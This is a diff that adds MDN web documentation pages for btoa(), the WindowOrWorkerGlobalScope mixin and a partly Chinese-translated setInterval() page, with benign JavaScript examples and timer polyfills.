+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>WindowOrWorkerGlobalScope.btoa()</strong></code> method creates a {{glossary("Base64")}}-encoded ASCII string from a <a href="/en-US/docs/Web/API/DOMString/Binary">binary string</a> (i.e., a {{jsxref("String")}} object in which each character in the string is treated as a byte of binary data).</p>
+
+<p>You can use this method to encode data which may otherwise cause communication problems, transmit it, then use the {{domxref("WindowOrWorkerGlobalScope.atob", "atob()")}} method to decode the data again. For example, you can encode control characters such as ASCII values 0 through 31.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">var <var>encodedData</var> = <var>scope</var>.btoa(<var>stringToEncode</var>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code><var>stringToEncode</var></code></dt>
+ <dd>The <a href="/en-US/docs/Web/API/DOMString/Binary">binary string</a> to encode.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>An ASCII string containing the Base64 representation of <code><var>stringToEncode</var></code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>InvalidCharacterError</code></dt>
+ <dd>The string contained a character that did not fit in a single byte. See "Unicode strings" below for more detail.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js notranslate">const encodedData = window.btoa('Hello, world'); // encode a string
+const decodedData = window.atob(encodedData); // decode the string
+</pre>
+
+<h2 id="Unicode_strings">Unicode strings</h2>
+
+<p>The <code>btoa()</code> function takes a JavaScript string as a parameter. In JavaScript strings are represented using the UTF-16 character encoding: in this encoding, strings are represented as a sequence of 16-bit (2 byte) units. Every ASCII character fits into the first byte of one of these units, but many other characters don't.</p>
+
+<p>Base64, by design, expects binary data as its input. In terms of JavaScript strings, this means strings in which each character occupies only one byte. So if you pass a string into <code>btoa()</code> containing characters that occupy more than one byte, you will get an error, because this is not considered binary data:</p>
+
+<pre class="brush: js notranslate">const ok = "a";
+console.log(ok.codePointAt(0).toString(16)); //   61: occupies &lt; 1 byte
+
+const notOK = "✓"
+console.log(notOK.codePointAt(0).toString(16)); // 2713: occupies &gt; 1 byte
+
+console.log(btoa(ok));    // YQ==
+console.log(btoa(notOK)); // error</pre>
+
+<p>If you need to encode Unicode text as ASCII using <code>btoa()</code>, one option is to convert the string such that each 16-bit unit occupies only one byte. For example:</p>
+
+<pre class="brush: js notranslate">// convert a Unicode string to a string in which
+// each 16-bit unit occupies only one byte
+function toBinary(string) {
+  const codeUnits = new Uint16Array(string.length);
+  for (let i = 0; i &lt; codeUnits.length; i++) {
+    codeUnits[i] = string.charCodeAt(i);
+  }
+  return String.fromCharCode(...new Uint8Array(codeUnits.buffer));
+}
+
+// a string that contains characters occupying &gt; 1 byte
+const myString = "☸☹☺☻☼☾☿";
+
+const converted = toBinary(myString);
+const encoded = btoa(converted);
+console.log(encoded);                 // OCY5JjomOyY8Jj4mPyY=
+</pre>
+
+<p>If you do this, of course you'll have to reverse the conversion on the decoded string:</p>
+
+<pre class="brush: js language-js notranslate">function fromBinary(binary) {
+  const bytes = new Uint8Array(binary.length);
+  for (let i = 0; i &lt; bytes.length; i++) {
+    bytes[i] = binary.charCodeAt(i);
+  }
+  return String.fromCharCode(...new Uint16Array(bytes.buffer));
+}
+
+const decoded = atob(encoded);
+const original = fromBinary(decoded);
+console.log(original);                // ☸☹☺☻☼☾☿
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>You can use a polyfill from <a href="https://github.com/MaxArt2501/base64-js/blob/master/base64.js">https://github.com/MaxArt2501/base64-js/blob/master/base64.js</a> for browsers that don't support it.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data</code> URIs</a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.atob","atob()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/windoworworkerglobalscope/index.html b/files/zh-tw/web/api/windoworworkerglobalscope/index.html
new file mode 100644
index 0000000000..9fb46d21d5
--- /dev/null
+++ b/files/zh-tw/web/api/windoworworkerglobalscope/index.html
@@ -0,0 +1,98 @@
+---
+title: WindowOrWorkerGlobalScope
+slug: Web/API/WindowOrWorkerGlobalScope
+tags:
+  - API
+  - HTML DOM
+  - NeedsTranslation
+  - Service Worker
+  - TopicStub
+  - Window
+  - WindowOrWorkerGlobalScope
+  - Worker
+  - WorkerGlobalScope
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<div>{{ApiRef()}}</div>
+
+<p><span class="seoSummary">The <strong><code>WindowOrWorkerGlobalScope</code></strong> mixin describes several features common to the {{domxref("Window")}} and {{domxref("WorkerGlobalScope")}} interfaces.</span> Each of these interfaces can, of course, add more features in addition to the ones listed below.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>WindowOrWorkerGlobalScope</code> is a mixin and not an interface; you can't actually create an object of type <code>WindowOrWorkerGlobalScope</code>.</p>
+</div>
+
+<h2 id="Properties_2">Properties</h2>
+
+<p>These properties are defined on the {{domxref("WindowOrWorkerGlobalScope")}} mixin, and implemented by {{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.crossOriginIsolated")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean value that indicates whether a {{jsxref("SharedArrayBuffer")}} can be sent via a {{domxref("Window.postMessage()")}} call.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Returns a boolean indicating whether the current context is secure (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Returns the origin of the global scope, serialized as a string.</dd>
+</dl>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<p>These methods are defined on the {{domxref("WindowOrWorkerGlobalScope")}} mixin, and implemented by {{domxref("Window")}} and {{domxref("WorkerGlobalScope")}}.</p>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(</em><code>sx</code>, <code>sy</code><em>)</em> with width <code>sw</code>, and height <code>sh</code>.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.queueMicrotask()")}}</dt>
+ <dd>Enqueues a microtask—a short function to be executed after execution of the JavaScript code completes and control isn't being returned to a JavaScript caller, but before handling callbacks and other tasks. This lets your code run without interfering with other, possibly higher priority, code, but <em>before</em> the browser runtime regains control, potentially depending upon the work you need to complete.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', '<code>WindowOrWorkerGlobalScope</code> mixin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>This is where the main mixin is defined.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/windoworworkerglobalscope/setinterval/index.html b/files/zh-tw/web/api/windoworworkerglobalscope/setinterval/index.html
new file mode 100644
index 0000000000..7685a8f754
--- /dev/null
+++ b/files/zh-tw/web/api/windoworworkerglobalscope/setinterval/index.html
@@ -0,0 +1,627 @@
+---
+title: WindowOrWorkerGlobalScope.setInterval()
+slug: Web/API/WindowOrWorkerGlobalScope/setInterval
+translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>setInterval()</code></strong> 函式, {{domxref("Window")}} 與 {{domxref("Worker")}} 介面皆提供此一函式, 此函式作用為重複地執行一個函式呼叫或一個程式碼片斷, 每一次執行間隔固定的延遲時間.</span> 此函式呼叫時將傳回一個間隔代碼(Interval ID)用以識別該間隔程序, 因此後續您可以呼叫 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 函式移除該間隔程序. 此函式為由 {{domxref("WindowOrWorkerGlobalScope")}} 混合定義.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>var intervalID</em> = <em>scope</em>.setInterval(<em>func</em>, [<em>delay</em>, <em>arg1</em>, <em>arg2</em>, ...]);
+<em>var intervalID</em> = <em>scope</em>.setInterval(<em>code</em>, [<em>delay]</em>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>func</code></dt>
+ <dd>A {{jsxref("function")}} to be executed every <code>delay</code> milliseconds. The function is not passed any arguments, and no return value is expected.</dd>
+ <dt><code>code</code></dt>
+ <dd>An optional syntax allows you to include a string instead of a function, which is compiled and executed every <code>delay</code> milliseconds. This syntax is <em>not recommended</em> for the same reasons that make using {{jsxref("eval", "eval()")}} a security risk.</dd>
+ <dt><code>delay</code>{{optional_inline}}</dt>
+ <dd>The time, in milliseconds (thousandths of a second), the timer should delay in between executions of the specified function or code. See {{anch("Delay restrictions")}} below for details on the permitted range of <code>delay</code> values.</dd>
+ <dt><code>arg1, ..., argN</code> {{optional_inline}}</dt>
+ <dd>Additional arguments which are passed through to the function specified by <em>func</em> once the timer expires.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Passing additional arguments to <code>setInterval()</code> in the first syntax does not work in Internet Explorer 9 and earlier. If you want to enable this functionality on that browser, you must use a polyfill (see the <a href="#Callback_arguments">Callback arguments</a> section).</p>
+</div>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The returned <code>intervalID</code> is a numeric, non-zero value which identifies the timer created by the call to <code>setInterval()</code>; this value can be passed to {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}} to cancel the timeout.</p>
+
+<p>It may be helpful to be aware that <code>setInterval()</code> and {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} share the same pool of IDs, and that <code>clearInterval()</code> and {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} can technically be used interchangeably. For clarity, however, you should try to always match them to avoid confusion when maintaining your code.</p>
+
+<div class="note"><strong>Note</strong>: The <code>delay</code> argument is converted to a signed 32-bit integer. This effectively limits <code>delay</code> to 2147483647 ms, since it's specified as a signed integer in the IDL.</div>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Example_1_Basic_syntax">Example 1: Basic syntax</h3>
+
+<p>The following example demonstrates <code>setInterval()</code>'s basic syntax.</p>
+
+<pre class="brush:js">var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
+
+function myCallback(a, b)
+{
+ // Your code here
+ // Parameters are purely optional.
+ console.log(a);
+ console.log(b);
+}
+</pre>
+
+<h3 id="Example_2_Alternating_two_colors">Example 2: Alternating two colors</h3>
+
+<p>The following example calls the <code>flashtext()</code> function once a second until the Stop button is pressed.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;setInterval/clearInterval example&lt;/title&gt;
+
+  &lt;script&gt;
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="changeColor();"&gt;
+  &lt;div id="my_box"&gt;
+    &lt;p&gt;Hello World&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;button onclick="stopTextColor();"&gt;Stop&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Example_3_Typewriter_simulation">Example 3: Typewriter simulation</h3>
+
+<p>The following example simulates typewriter by first clearing and then slowly typing content into the <a href="/en-US/docs/DOM/NodeList"><code>NodeList</code></a> that matches a specified group of selectors.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;JavaScript Typewriter - MDN Example&lt;/title&gt;
+&lt;script&gt;
+  function Typewriter (sSelector, nRate) {
+
+  function clean () {
+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty('parts') || aMap.length &lt; nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] &lt; oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop &amp;&amp; (oRel.ref.nodeType - 1 | 1) === 3 &amp;&amp; oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = '';
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 &amp;&amp; scroll(aSheets[nIdx], 0, true) &amp;&amp; nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild &lt; this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem &lt; aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx &lt; aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ '#article, h1, #info, #copyleft', /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter('#controls');
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;"&gt;CopyLeft 2012 by &lt;a href="https://developer.mozilla.org/" target="_blank"&gt;Mozilla Developer Network&lt;/a&gt;&lt;/p&gt;
+&lt;p id="controls" style="text-align: center;"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="oTWExample1.play();"&gt;Play&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.pause();"&gt;Pause&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.terminate();"&gt;Terminate&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;div id="info"&gt;
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+&lt;/div&gt;
+&lt;h1&gt;JavaScript Typewriter&lt;/h1&gt;
+
+&lt;div id="article"&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;form&gt;
+&lt;p&gt;Phasellus ac nisl lorem: &lt;input type="text" /&gt;&lt;br /&gt;
+&lt;textarea style="width: 400px; height: 200px;"&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/textarea&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send" /&gt;
+&lt;/form&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><a href="/files/3997/typewriter.html">View this demo in action</a>. See also: <a href="/en-US/docs/DOM/window.clearInterval"><code>clearInterval()</code></a>.</p>
+
+<h2 id="Callback_arguments">Callback arguments</h2>
+
+<p>As previously discussed, Internet Explorer versions 9 and below do not support the passing of arguments to the callback function in either <code>setTimeout()</code> or <code>setInterval()</code>. The following <strong>IE-specific</strong> code demonstrates a method for overcoming this limitation.  To use, simply add the following code to the top of your script.</p>
+
+<pre class="brush:js">/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all &amp;&amp; !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all &amp;&amp; !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+</pre>
+
+<p>Another possibility is to use an anonymous function to call your callback, although this solution is a bit more expensive. Example:</p>
+
+<pre class="brush:js">var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);</pre>
+
+<p>Another possibility is to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p>
+
+<pre class="brush:js">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre>
+
+<p>{{h3_gecko_minversion("Inactive tabs", "5.0")}}</p>
+
+<p>Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.</p>
+
+<h2 id="The_this_problem">The "<a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a>" problem</h2>
+
+<p>When you pass a method to <code>setInterval()</code> or any other function, it is invoked with the wrong <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> value. This problem is explained in detail in the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#As_an_object_method">JavaScript reference</a>.</p>
+
+<h3 id="Explanation">Explanation</h3>
+
+<p>Code executed by <code>setInterval()</code> runs in a separate execution context than the function from which it was called. As a consequence, the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> keyword for the called function is set to the <code>window</code> (or <code>global</code>) object, it is not the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example (which uses <code>setTimeout()</code> instead of <code>setInterval()</code> – the problem, in fact, is the same for both timers):</p>
+
+<pre class="brush:js">myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+</pre>
+
+<p>As you can see there are no ways to pass the <code>this</code> object to the callback function in the legacy JavaScript.</p>
+
+<h3 id="A_possible_solution">A possible solution</h3>
+
+<p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones that enable their invocation through the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p>
+
+<pre class="brush:js">// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};</pre>
+
+<div class="note">These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as <em>non-standard-compliant</em> polyfills also. See the <a href="#Callback_arguments">callback arguments paragraph</a> for a <em>standard-compliant</em> polyfill.</div>
+
+<p>New feature test:</p>
+
+<pre class="brush:js">myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+</pre>
+
+<p>Another, more complex, solution for<strong> </strong>the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> problem<strong> </strong>is <a href="#MiniDaemon_-_A_framework_for_managing_timers">the following framework</a>.</p>
+
